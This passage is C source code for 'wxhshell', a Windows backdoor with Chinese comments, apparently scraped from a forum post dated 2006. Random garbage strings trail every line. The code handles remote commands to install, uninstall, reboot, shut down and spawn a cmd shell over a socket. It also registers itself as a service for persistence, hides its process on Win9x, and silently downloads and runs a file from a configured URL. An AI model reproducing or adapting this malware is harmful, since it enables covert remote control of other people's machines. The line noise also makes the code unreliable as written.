  case '?': { J$Z=`=] t+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t;BUZE_!0c  
    break; }x?F53I)  
  } T]ls&cW5  
  // 安装 4vEP\E3u<j  
  case 'i': { CHsg2S  
    if(Install()) l|=4FIMD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +LF#XS@  
    else w8XCU> |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); In?=$_p  
    break; xNzGp5H  
    } Nai5!_'  
  // 卸载 ?u|@,tQ[  
  case 'r': { CJ* D  
    if(Uninstall()) _Z23lF 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8LbwEKl  
    else XEgJ7h_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VGmvfhf#"  
    break; 6|zhqb|s  
    } 5?lc%,-&  
  // 显示 wxhshell 所在路径 ^Jp,&  
  case 'p': { )V\@N*L`ik  
    char svExeFile[MAX_PATH]; TWzLJ63*  
    strcpy(svExeFile,"\n\r"); Pg%9hejf3  
      strcat(svExeFile,ExeFile); ? 3=G'Ip5n  
        send(wsh,svExeFile,strlen(svExeFile),0); %WgN+A0  
    break; b~J)LXj]w  
    } &}r"Z?f)  
  // 重启 fes s6=k  
  case 'b': { b, Oh8O;>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N7?B"p/  
    if(Boot(REBOOT)) H5T_i$W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G18w3BFx  
    else { yd).}@  
    closesocket(wsh); N% 4"9K  
    ExitThread(0); 8.i4QaU  
    } 83n%pS4x  
    break; eXW|{asx  
    } <7M-?g:vj  
  // 关机 y3zP`^  
  case 'd': { Ix5&B6L8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MKl0 d  
    if(Boot(SHUTDOWN)) TxX=(7V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q`VL i  
    else { WwDM^}e  
    closesocket(wsh); 3 r&  
    ExitThread(0); &EfQ%r}C  
    } l~6K}g?  
    break; }d<R 5  
    } Dwp,d~z  
  // 获取shell 7l D-|yx  
  case 's': { Nc;O)K!FH  
    CmdShell(wsh); 8R,<S-+v  
    closesocket(wsh); p49]{2GXb  
    ExitThread(0); H$KO[mW}  
    break; K:wI'N"N  
  } Jsz!ro  
  // 退出 xT%`"eM}  
  case 'x': { n t}7|h|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !sb r!Qt  
    CloseIt(wsh); UFG_ZoD+  
    break; uu9M}]mDl  
    } Ao\xse{E  
  // 离开 " 8xAe0-4  
  case 'q': { kAki 9a(=!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X\AH^I6S  
    closesocket(wsh); G0E5Y;YIN$  
    WSACleanup(); Bqq=2lj  
    exit(1); S/nPK,^d2  
    break; Zh=a rlk  
        } 2 T!Tiu  
  }  c0oHE8@  
  } 558P"w0"X  
[9 W@<p  
  // 提示信息 n HseA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3v/B*M VI  
} OT9]{|7  
  } rtV`Q[E  
K~N$s "Qx  
  return; &mwd0%4  
} p+VU:%.t  
1( pHC  
// shell模块句柄 CU'JvVe3  
int CmdShell(SOCKET sock) t`Kbm''d[  
{ 6b2UPI7m~  
STARTUPINFO si; szI7 I$Qb  
ZeroMemory(&si,sizeof(si)); M/zO|-j&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U2q6^z4l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xz$4cI#n:  
PROCESS_INFORMATION ProcessInfo;  {>]\<  
char cmdline[]="cmd"; p3I"LY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &Y]':gJ  
  return 0; +y GQt3U  
} ,T$ts  
i5'&u:  
// 自身启动模式 j~CnMKN  
int StartFromService(void) (|gQ i{8  
{ {]0e=#hw  
typedef struct $></%S2g  
{ ?'a8QJo  
  DWORD ExitStatus; JMb_00r  
  DWORD PebBaseAddress; dftBD  
  DWORD AffinityMask; s]arNaaA  
  DWORD BasePriority; bSB%hFp=Cp  
  ULONG UniqueProcessId; SmRlZ!%e  
  ULONG InheritedFromUniqueProcessId; 4,9$udiGY  
}   PROCESS_BASIC_INFORMATION; 6Sr]<I +:  
fab'\|Y   
PROCNTQSIP NtQueryInformationProcess; 3H,E8>Vd  
jvzioFCt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #36Q O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3/G^V'Yu  
34@[ZKJ5  
  HANDLE             hProcess; 8v4}h9*F"7  
  PROCESS_BASIC_INFORMATION pbi; );5o13h2  
>4:d)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JK k0f9)  
  if(NULL == hInst ) return 0; k3~9;Z  
]v+<K63@T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;_<R +w3-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uO?+vYAN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {o=?@$6C  
NGx3f3 9  
  if (!NtQueryInformationProcess) return 0; 6TtB3;5  
SQKhht`M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @<.@ X*#I  
  if(!hProcess) return 0; Gw M:f/eV  
(3#PKfY+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I \:WD"  
&V"oJ}M/a  
  CloseHandle(hProcess); !X>u.}?g  
e+ xQ\LH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sj9fq*  
if(hProcess==NULL) return 0; YOCEEh?  
$.G 7Vt  
HMODULE hMod; 9U8M|W|d  
char procName[255]; S,Y|;p<+^  
unsigned long cbNeeded; c}(WniR-"  
*@U{[J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K,b M9>}  
3DU1c?M:  
  CloseHandle(hProcess); r*X,]\V0x  
 Z>[7#;;  
if(strstr(procName,"services")) return 1; // 以服务启动 2*#|t: (c  
}X(&QZ7i`  
  return 0; // 注册表启动 +mQ5\14#  
} \2SbW7"/;P  
m'4f'tbN  
// 主模块 )^2eC<t  
int StartWxhshell(LPSTR lpCmdLine) qd`e:s*%  
{ >lI7]hbIs  
  SOCKET wsl; &w@]\7L,:  
BOOL val=TRUE; DaQ"Df_X  
  int port=0; UKS5{"=T[  
  struct sockaddr_in door; v2T2/y%  
lCi{v.  
  if(wscfg.ws_autoins) Install(); mU'<:gL+  
m[hL GD'Fi  
port=atoi(lpCmdLine); %!aU{E|@_  
oA1_W).wJ  
if(port<=0) port=wscfg.ws_port; TP }a9-9?  
Y.:R-|W  
  WSADATA data; .l}Ap7@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0;Z|:\P\=  
<izQ]\kL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /{M<FVXK+|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YQVo7"`%  
  door.sin_family = AF_INET; G6SgVaM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p/H.bG!z  
  door.sin_port = htons(port); ?gH[la  
tUn >=>cWP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d} >Po%r:  
closesocket(wsl); qi-XNB`b  
return 1; TBlSZZ-55]  
} _O9V"DM  
rb*|0ST  
  if(listen(wsl,2) == INVALID_SOCKET) { te_2"Z  
closesocket(wsl); VPLf(  
return 1; @]\fO)\f  
} [&x9<f6  
  Wxhshell(wsl); `lhw*{3A  
  WSACleanup(); AGBV7Kk  
exRw, Nk4  
return 0; %mI0*YRma  
'yo@5*x7  
} i FI74COam  
#]#9Xq  
// 以NT服务方式启动 t],a1I.gk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <_?zln:4.  
{ j,IRUx13f  
DWORD   status = 0; ( ?FH`<  
  DWORD   specificError = 0xfffffff; Hv,|XE@Y  
Ufr@j` *  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^r}c&@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?R`S-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QcegT/vO  
  serviceStatus.dwWin32ExitCode     = 0; WBe0^=x  
  serviceStatus.dwServiceSpecificExitCode = 0; 4GYi'  
  serviceStatus.dwCheckPoint       = 0; lExQp2E  
  serviceStatus.dwWaitHint       = 0; %6K7uvTq  
t)SZ2G1r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qwTz7r  
  if (hServiceStatusHandle==0) return; r]B8\5|<d  
2y [Q  
status = GetLastError(); 6BE,L  
  if (status!=NO_ERROR) ep>!jMhJa  
{ wj[yo S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _]:b@gXUw  
    serviceStatus.dwCheckPoint       = 0; *k?:k78L  
    serviceStatus.dwWaitHint       = 0; E)b$;'  
    serviceStatus.dwWin32ExitCode     = status; R2bqhSlF  
    serviceStatus.dwServiceSpecificExitCode = specificError; bM W|:rn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Im]@#X  
    return; ]8G 'R-8}  
  } }\ _.Mg^y  
K#"=*p,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,p2UshOmd  
  serviceStatus.dwCheckPoint       = 0; u6iW1,#  
  serviceStatus.dwWaitHint       = 0; #^FM~5KK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +qi& ?}  
} !R{IEray  
JsaXI:%1  
// 处理NT服务事件,比如:启动、停止 ':4cQ4Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?Y=aO(}=h  
{ 1]xk:u4LA  
switch(fdwControl) X><C#G  
{ 8 $FH;=  
case SERVICE_CONTROL_STOP: n Ja!&G&  
  serviceStatus.dwWin32ExitCode = 0; IsXNAYj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MT6p@b5  
  serviceStatus.dwCheckPoint   = 0; \PX4>/d@y  
  serviceStatus.dwWaitHint     = 0; vu0Ql1  
  { zLJ>)v$81  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pn"!wqg  
  } j cd<'\;  
  return; j?T'N:Qd  
case SERVICE_CONTROL_PAUSE: %-hSa~20  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uWS]l[Ga  
  break; )Q2Ap&  
case SERVICE_CONTROL_CONTINUE: [@$ SLl^Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]:%DDlRb  
  break; >a3m!`lq  
case SERVICE_CONTROL_INTERROGATE: q~`hn(S  
  break; Z[O hZ 9  
}; HcRw9,I'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dCx63rF`G  
} uYW4$6S 3  
>`QBN1 Y  
// 标准应用程序主函数 l5z//E}W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _{|a<Keq|  
{ _|~Dj)z  
Y1r$;;sH  
// 获取操作系统版本 }i9:k kfq2  
OsIsNt=GetOsVer(); HwU9 y   
GetModuleFileName(NULL,ExeFile,MAX_PATH); E|pT6  
S2X@t>u-  
  // 从命令行安装 1$cl "d`~  
  if(strpbrk(lpCmdLine,"iI")) Install(); KXKT5E$  
,fjY|ip  
  // 下载执行文件 Qt u;_  
if(wscfg.ws_downexe) { rrIyZ@_d9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =OufafZb  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7cc^n\c?Y  
} -jQ*r$iRE  
txEN7!  
if(!OsIsNt) { Z% +$<J  
// 如果时win9x,隐藏进程并且设置为注册表启动 4*_jGw  
HideProc(); {7y;s  
StartWxhshell(lpCmdLine); lpi"@3  
} M)13'B.  
else !vX4_!%  
  if(StartFromService()) ~EtGR # N  
  // 以服务方式启动 RO3LZBL  
  StartServiceCtrlDispatcher(DispatchTable); T;M ;c. U  
else tPyk^NJ;  
  // 普通方式启动 Om.%K>V  
  StartWxhshell(lpCmdLine); /gAT@Vx  
SIK:0>yK"  
return 0; 0E\#!L  
}
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只看该作者 1 发表于: 2006-10-10
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